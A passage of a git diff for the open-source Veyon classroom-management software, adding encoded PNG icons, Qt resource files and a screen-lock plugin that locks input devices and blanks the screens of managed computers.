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 + + view-fullscreen.png + application-exit.png + krdc.png + kmag.png + camera-photo.png + preferences-desktop-keyboard.png + + diff --git a/plugins/remoteaccess/view-fullscreen.png b/plugins/remoteaccess/view-fullscreen.png new file mode 100644 index 0000000000000000000000000000000000000000..6fc7cf047de20ecf422fc5c9b33d65712dbecdcc GIT binary patch literal 486 zcmeAS@N?(olHy`uVBq!ia0vp^4Is?I3?vN&YJLDI=3*z$5DpHG+YkL80J)q69+AZi z40*dinDN@Zjp9H-$r9IylHmNblJdl&REF~Ma=pyF?Be9af>gcyqV(DCY@~pSgaUj* zT!HkbPoF-2{`~RdM<4?T?ibxL2a2+m1o;Isl-DGkg>+MAa) zgfS#HTsLK9+QKHmxTiXZiQyLG9`-%;k(*ezuvf7Ecvn4+Wp$P_p+P7(=_dB9U}h;b6j1>uJI4VO6` zJ~8Y&*UA| zFte|#`C%p!arBFvMnNby$6+yn)prtD*kZm49ecpUDp1gvC77Dg$i=b6VP}u=1_w@- zhy`&TQeg|&n6xkGr1ENAU|7+B*>X8NdYuVK~<)!4Xy TrmhPxL>W9?{an^LB{Ts5#7(;0 literal 0 HcmV?d00001 diff --git a/plugins/screenlock/CMakeLists.txt b/plugins/screenlock/CMakeLists.txt new file mode 100644 index 0000000..51cb4be --- /dev/null +++ b/plugins/screenlock/CMakeLists.txt @@ -0,0 +1,3 @@ +INCLUDE(BuildPlugin) + +BUILD_PLUGIN(screenlock ScreenLockFeaturePlugin.cpp MOCFILES ScreenLockFeaturePlugin.h RESOURCES screenlock.qrc) diff --git a/plugins/screenlock/ScreenLockFeaturePlugin.cpp b/plugins/screenlock/ScreenLockFeaturePlugin.cpp new file mode 100644 index 0000000..1d95b0a --- /dev/null +++ b/plugins/screenlock/ScreenLockFeaturePlugin.cpp @@ -0,0 +1,158 @@ +/* + * ScreenLockFeaturePlugin.cpp - implementation of ScreenLockFeaturePlugin class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include + +#include "ScreenLockFeaturePlugin.h" +#include "FeatureWorkerManager.h" +#include "LockWidget.h" +#include "PlatformCoreFunctions.h" +#include "VeyonServerInterface.h" + + +ScreenLockFeaturePlugin::ScreenLockFeaturePlugin( QObject* parent ) : + QObject( parent ), + m_screenLockFeature( Feature::Mode | Feature::AllComponents, + Feature::Uid( "ccb535a2-1d24-4cc1-a709-8b47d2b2ac79" ), + Feature::Uid(), + tr( "Lock" ), tr( "Unlock" ), + tr( "To reclaim all user's full attention you can lock " + "their computers using this button. " + "In this mode all input devices are locked and " + "the screens are blacked." ), + QStringLiteral(":/screenlock/system-lock-screen.png") ), + m_features( { m_screenLockFeature } ), + m_lockWidget( nullptr ) +{ +} + + + +ScreenLockFeaturePlugin::~ScreenLockFeaturePlugin() +{ + delete m_lockWidget; +} + + + +bool ScreenLockFeaturePlugin::startFeature( VeyonMasterInterface& master, const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) +{ + Q_UNUSED(master); + + if( feature == m_screenLockFeature ) + { + return sendFeatureMessage( FeatureMessage( m_screenLockFeature.uid(), StartLockCommand ), + computerControlInterfaces ); + } + + return false; +} + + + +bool ScreenLockFeaturePlugin::stopFeature( VeyonMasterInterface& master, const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) +{ + Q_UNUSED(master); + + if( feature == m_screenLockFeature ) + { + return sendFeatureMessage( FeatureMessage( m_screenLockFeature.uid(), StopLockCommand ), + computerControlInterfaces ); + } + + return false; +} + + + +bool ScreenLockFeaturePlugin::handleFeatureMessage( VeyonMasterInterface& master, const FeatureMessage& message, + ComputerControlInterface::Pointer computerControlInterface ) +{ + Q_UNUSED(master); + Q_UNUSED(message); + Q_UNUSED(computerControlInterface); + + return false; +} + + + +bool ScreenLockFeaturePlugin::handleFeatureMessage( VeyonServerInterface& server, const FeatureMessage& message ) +{ + if( m_screenLockFeature.uid() == message.featureUid() ) + { + if( server.featureWorkerManager().isWorkerRunning( m_screenLockFeature ) == false && + message.command() != StopLockCommand ) + { + server.featureWorkerManager().startWorker( m_screenLockFeature, FeatureWorkerManager::ManagedSystemProcess ); + } + + // forward message to worker + server.featureWorkerManager().sendMessage( message ); + + return true; + } + + return false; +} + + + +bool ScreenLockFeaturePlugin::handleFeatureMessage( VeyonWorkerInterface& worker, const FeatureMessage& message ) +{ + Q_UNUSED(worker); + + if( m_screenLockFeature.uid() == message.featureUid() ) + { + switch( message.command() ) + { + case StartLockCommand: + if( m_lockWidget == nullptr ) + { + VeyonCore::platform().coreFunctions().disableScreenSaver(); + + m_lockWidget = new LockWidget( LockWidget::BackgroundPixmap, + QPixmap( QStringLiteral(":/screenlock/locked-screen-background.png" ) ) ); + } + return true; + + case StopLockCommand: + delete m_lockWidget; + m_lockWidget = nullptr; + + VeyonCore::platform().coreFunctions().restoreScreenSaverSettings(); + + QCoreApplication::quit(); + + return true; + + default: + break; + } + } + + return false; +} diff --git a/plugins/screenlock/ScreenLockFeaturePlugin.h b/plugins/screenlock/ScreenLockFeaturePlugin.h new file mode 100644 index 0000000..2a35399 --- /dev/null +++ b/plugins/screenlock/ScreenLockFeaturePlugin.h @@ -0,0 +1,104 @@ +/* + * ScreenLockFeaturePlugin.h - declaration of ScreenLockFeaturePlugin class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef SCREEN_LOCK_FEATURE_PLUGIN_H +#define SCREEN_LOCK_FEATURE_PLUGIN_H + +#include "FeatureProviderInterface.h" + +class LockWidget; + +class ScreenLockFeaturePlugin : public QObject, FeatureProviderInterface, PluginInterface +{ + Q_OBJECT + Q_PLUGIN_METADATA(IID "io.veyon.Veyon.Plugins.PluginFeatureInterface") + Q_INTERFACES(PluginInterface FeatureProviderInterface) +public: + ScreenLockFeaturePlugin( QObject* parent = nullptr ); + ~ScreenLockFeaturePlugin() override; + + Plugin::Uid uid() const override + { + return QStringLiteral("2ad98ccb-e9a5-43ef-8c4c-876ac5efbcb1"); + } + + QVersionNumber version() const override + { + return QVersionNumber( 1, 1 ); + } + + QString name() const override + { + return QStringLiteral("ScreenLock"); + } + + QString description() const override + { + return tr( "Lock screen and input devices of a computer" ); + } + + QString vendor() const override + { + return QStringLiteral("Veyon Community"); + } + + QString copyright() const override + { + return QStringLiteral("Tobias Junghans"); + } + + const FeatureList& featureList() const override + { + return m_features; + } + + bool startFeature( VeyonMasterInterface& master, const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) override; + + bool stopFeature( VeyonMasterInterface& master, const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) override; + + bool handleFeatureMessage( VeyonMasterInterface& master, const FeatureMessage& message, + ComputerControlInterface::Pointer computerControlInterface ) override; + + bool handleFeatureMessage( VeyonServerInterface& server, const FeatureMessage& message ) override; + + bool handleFeatureMessage( VeyonWorkerInterface& worker, const FeatureMessage& message ) override; + +private: + enum Commands + { + StartLockCommand, + StopLockCommand, + CommandCount + }; + + const Feature m_screenLockFeature; + const FeatureList m_features; + + LockWidget* m_lockWidget; + +}; + +#endif // SCREEN_LOCK_FEATURE_PLUGIN_H diff --git a/plugins/screenlock/locked-screen-background.png b/plugins/screenlock/locked-screen-background.png new file mode 100644 index 0000000000000000000000000000000000000000..619c67ed867cc467b0d35fcddd38a98a2666ddcf GIT binary patch literal 2217 zcmb`IYgAJC8pbiRluAp}Zexr#YC_UzY8^qHyp?EZf~Mm@sbgjaC^%w*;GCwKO6}r> zF>h&Uc*$#;wFa3<(CnC+ii!w`hT5c-m%=+|pT#FxsHj#&4=SPbcOEH#824x&=2@JM15B`hR598MxfWKSV?fuB5ngdAyeo6ocj8aci$J9_g@Z*e1t4eCEvZ~$G5U_tEKE}K7H?JW1oc_$z>?;i9C$; zLt{W1Yc$ttt<%;4Z`im=S8wwceS@urM%#>cLrhHfd}C&AvDXp`+h+y;*4pNPo&CW> z4hW>9lk<0nU0mJVk9c|=Lm&6UU;~4KLw*cD9dYJt)Hwo?6dgmR#KuvRe!lR_mN068o7V``IO(>@~pM3y`%GGSGSr@g5q=oc!JB*DVm>hiViuK># zGM%OIki60MVYoJbZQFyYsvIND;LUqXy{%rbZKF?BU3|$iw_~|b{xss9(JV1(3T%h; zizGECF1w72t#t4T`;$fbWNa>l;WzL*a4GnAf>{@T&j#>qOot%o=N%r{|(lRF)F z2+K1pi9#e;hyC(=<9jZCm!$`FvJsPJ9(9aSr>HIrWu5a{4JB7pOCnHL*ET*@P}3q- zGW)mFspng&f_!lVu5;(RBTtA~S|^H`{-Ho8*q@`rlCyUGV0>u4 zW@^U>>P1n&S}?wTEHmbTxr5h*Jtq~pF?AJMa)0VuSwxmUS5`n?uFy*~;Z2%dk3|{fqvMQO$uB!h?xAdJr41K;F~} zr}Nm@E~;aBSC~i1I(qL@9cE|`R9@EMI2f_@4aPZ9s<%UsAa$NeMP71@b9l_jaYgS|uW7>cgtLmQ^a^0NO_> z5i!Ie_p5U&p>xyKv*-@xA6^R{_YWp8gJc>-I5bJ|emAiXjz}(R%1sWq-1@4N8eu?t zb^I9NC)mB0A^cZC-Nk-RxF;jSs97QNRb3bP`nYGzQ6-UjU~D1Mn%#1@z4lPc3+`XU zuBe&h8Meio!EjP)gRubi=-lr&Dsv53(G`_;Mklw3x}%VH^sc7SQkFuZc#*3OjYxAw zH-f;MG~!O`m37nZRVTx1ww$mxl_!>4?cYWj&QyF~=|2l1XIntN zb3qZX_Y@^QEt@WTbc^=W(@txSJ~ zZJV@C)SBW)&evZloQr@S7qxm7F@_GJYIAyuw%6q+Vt!r4j1?Zvm}F_yG4Fh|goO^2X_R?xW%yYpyqDB*hSxaM + + system-lock-screen.png + locked-screen-background.png + + diff --git a/plugins/screenlock/system-lock-screen.png b/plugins/screenlock/system-lock-screen.png new file mode 100644 index 0000000000000000000000000000000000000000..8c144b73474c978dc96abd8051ce2fd487291b54 GIT binary patch literal 4324 zcmZ8_c{tQ<)c+S_%owta?8{io7P7^|%n*ghT6PB65{<@|bxgKwBTL3k5hXiO_FY;S zBw30{WyvylG+Ezye!suo_r9)k&V65>>sF_zAVa$#>$_e-p>Fp) zfzZ&<3%&tgq3CiUkkClX(= 